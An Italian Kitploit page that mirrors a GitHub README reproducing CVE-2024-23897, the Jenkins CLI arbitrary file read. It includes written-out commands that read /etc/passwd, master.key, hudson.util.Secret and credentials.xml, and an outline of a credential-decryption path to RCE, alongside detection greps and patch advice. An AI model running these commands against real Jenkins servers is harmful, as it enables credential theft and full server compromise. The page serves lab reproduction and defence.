Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Riproduzione di cve-2024-23897-jenkins_lfi_reproduction | Kitploit
Strumenti/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Riproduzione di cve-2024-23897-jenkins_lfi_reproduction

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
27 giorni faNon ancora revisionato

CVE-2024-23897 — Vulnerabilità di lettura file arbitrari nella CLI di Jenkins

CVSS 9.8 (CRITICO) — Sfruttata attivamente in natura


Panoramica

CVE-2024-23897 è una vulnerabilità critica di lettura file arbitrari nell'interfaccia a riga di comando (CLI) di Jenkins. La CLI di Jenkins utilizza la libreria args4j per analizzare gli argomenti dei comandi. Questa libreria espande il carattere @ seguito da un percorso file (@/percorso/del/file) leggendo il contenuto di quel file e iniettandolo come argomenti. Un attaccante non autenticato può sfruttare questo comportamento per leggere file arbitrari sul filesystem del controller Jenkins senza richiedere alcuna autenticazione.

Se combinata con l'estrazione di credentials.xml, segreti o master.key, questa vulnerabilità può portare al compromesso totale del server (RCE).


Dettagli Tecnici

L'espansione del carattere @ in args4j

La libreria args4j (usata dal parser dei comandi CLI di Jenkins) implementa una funzionalità di comodità: quando un argomento inizia con @, tratta il resto dell'argomento come un percorso file, legge il contenuto del file e lo suddivide in più argomenti. Questa funzionalità era pensata per consentire il passaggio di grandi elenchi di argomenti tramite file.

Esempio: java -jar jenkins-cli.jar who-am-i @/etc/passwd farebbe sì che args4j legga /etc/passwd e utilizzi il suo contenuto come argomenti per il comando who-am-i.

Poiché alcuni comandi CLI (come connect-node) restituiscono o includono i valori degli argomenti nei messaggi di errore/risposta, un attaccante può osservare il contenuto dei file nella risposta della CLI.

Il flusso dell'attacco

  1. L'attaccante si connette alla porta CLI di Jenkins (predefinita: 50000, o all'endpoint CLI HTTP)
  2. L'attaccante invia un comando CLI con un argomento come @/etc/passwd
  3. Il parser args4j di Jenkins legge il file e lo espande in argomenti
  4. Il comando CLI elabora quegli argomenti e il contenuto del file viene divulgato nella risposta o nel messaggio di errore
  5. L'attaccante estrae file sensibili per aumentare i privilegi

Perché questa è critica

  • Nessuna autenticazione richiesta — La porta CLI è accessibile senza credenziali
  • Nessuna precondizione — Non è necessario abilitare permessi speciali o funzionalità di Jenkins
  • Impatto diffuso — Decine di migliaia di istanze Jenkins esposte
  • Escalation dei privilegi — La lettura di segreti/master.key consente la decrittazione delle credenziali e la RCE

Versioni Interessate

ProdottoInteressateCorrette
Jenkins (settimanale)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (precedente)≤ 2.414.22.414.3

Nota: Tutte le versioni di Jenkins precedenti alle correzioni elencate sopra sono vulnerabili. La funzionalità CLI esiste in Jenkins da molti anni, quindi anche le versioni più vecchie sono interessate anche se non elencate esplicitamente.


Passaggi per la Riproduzione

Configurazione dell'ambiente

  1. Esegui un'istanza Jenkins vulnerabile con Docker:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    Prendi nota della password admin iniziale dai log del container.

  2. Verifica che la porta CLI sia aperta:

    root@kitploit:~
    # La porta CLI di Jenkins (TCP 50000) dovrebbe essere in ascolto
    # Oppure puoi usare l'endpoint CLI HTTP su /cli/
    
  3. Installa Python 3.8+ con le dipendenze richieste:

    root@kitploit:~
    pip install requests
    

Riproduzione tramite PoC Python

root@kitploit:~
# Test di lettura file di base — legge /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Legge i segreti di Jenkins (percorso di escalation)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Passaggi manuali di riproduzione (con jenkins-cli.jar)

root@kitploit:~
# Scarica il jar della CLI di Jenkins
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Legge /etc/passwd tramite la CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Legge i segreti di Jenkins
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

Output Atteso

Il contenuto dei file appare nella risposta della CLI o nell'output di errore. Ad esempio, la lettura di /etc/passwd restituirebbe le voci del file password del sistema.


Proof of Concept (PoC) — Catena di sfruttamento completa

Passo 1: Enumera l'ambiente Jenkins

root@kitploit:~
# Legge la configurazione per comprendere l'ambiente
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Legge utenti e permessi
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

Passo 2: Estrai i segreti per la RCE

root@kitploit:~
# Estrae la chiave master (usata per cifrare le credenziali)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Estrae la chiave hudson.util.Secret
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Estrae le credenziali (cifrate)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Passo 3: Decripta le credenziali e ottieni la RCE

Con master.key e hudson.util.Secret, puoi decrittare le credenziali Jenkins utilizzando strumenti come jenkins_decrypt.py o lo script decrypt.py dei riferimenti di CVE-2024-23897. Le credenziali decrittate (chiavi SSH, token API, chiavi del provider cloud) possono quindi essere utilizzate per ottenere l'esecuzione remota di codice su nodi connessi e ambienti cloud.


Mitigazione

Correzione Immediata

Rilevamento

Cerca nei log di accesso o nei log di audit CLI argomenti contenenti @ seguito da percorsi file:

root@kitploit:~
# grep per accessi CLI sospetti
grep -r "@/" /var/log/jenkins/access.log

# Controlla le connessioni CLI da IP inattesi
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

Workaround (se non puoi applicare la patch)

Se non è possibile applicare immediatamente la patch, disabilita la porta CLI impostando l'opzione --webroot o bloccando la porta 50000. Tuttavia, nota che l'endpoint CLI HTTP (/cli/) all'interno dell'interfaccia web potrebbe essere comunque sfruttabile, quindi l'applicazione della patch è fortemente raccomandata.


Riferimenti

  • Jenkins Security Advisory 2024-01-24
  • NVD Entry — CVE-2024-23897
  • NVD Entry — CVE-2024-23898 (DoS CLI correlato)
  • Documentazione dell'espansione @file della libreria args4j
  • Catalogo delle vulnerabilità note sfruttate di CISA

Disclaimer

Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Lo sfruttamento non autorizzato di questa vulnerabilità è illegale. Gli autori non sono responsabili di qualsiasi uso improprio di queste informazioni. Testa solo su sistemi che possiedi o per i quali hai esplicito permesso scritto di testare.

Scarica lo strumento
AzioneDettagli
Aggiorna JenkinsAggiorna a Jenkins 2.442+ o LTS 2.426.3+ / 2.414.3+
Disabilita la porta CLIBlocca la porta TCP 50000 nel firewall se non necessaria
Limita l'accesso di reteLimita l'accesso alla porta CLI di Jenkins solo a reti fidate
Abilita l'autenticazioneAssicurati che Jenkins richieda l'autenticazione per ogni accesso
Monitora i logCerca comandi CLI con argomenti @ nei log di accesso